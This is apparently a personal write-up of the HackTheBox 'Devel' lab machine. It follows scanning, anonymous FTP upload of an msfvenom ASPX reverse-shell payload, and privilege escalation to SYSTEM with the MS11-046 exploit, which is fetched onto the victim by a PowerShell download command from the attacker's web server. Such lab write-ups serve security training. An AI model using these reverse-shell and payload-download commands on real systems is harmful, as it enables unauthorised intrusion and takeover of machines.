> For the complete documentation index, see [llms.txt](https://stanley-chan.gitbook.io/writeups-for-ctf-and-oscp-boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://stanley-chan.gitbook.io/writeups-for-ctf-and-oscp-boxes/hackthebox/devel.md).

# Devel

## Process

```
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
```

Went through a lot of exploits, Ethernal blue, iis ftp server attack, none worked

Then realise ftp allow uploading file, then generate payload via \[\[msfvenom]]: IIS accepts aspx `msfvenom -p windows/meterpreter/reverse_tcp LHOST=$HOST LPORT=4444 -f aspx > exploit.aspx` But doesn't work with `nc` listener

Realised because the paylaod is a meterpreter payload, which is not allowed in oscp exam but not compatible with nc listener...

Then use:

`msfvenom -p windows/shell_reverse_tcp LHOST=$HOST LPORT=4444 -f aspx > exploit.aspx`

![](https://i.imgur.com/ivm2f2N.png)

Access denied. I am `iis apppool/web` ![](https://i.imgur.com/JbfOQP4.png)

```
c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 ��
System Boot Time:          28/8/2022, 7:21:01 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1

```

Look for Win 7 exploits, found this: <https://www.exploit-db.com/exploits/40564>

`i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32`

Set up http server here in kali, then in powershell of the victim: `powershell -c (New-Object Net.WebClient).DownloadFile('http://10.10.14.8/MS11-046.exe', 'exploit.exe')`

Got SYSTEM ![](https://i.imgur.com/MKESnCq.png)

![](https://i.imgur.com/GGPrvxE.png)

## Takeaway

1. Should have tested whether we can put file to ftp server first
2. IIS server accepts .aspx/ .asp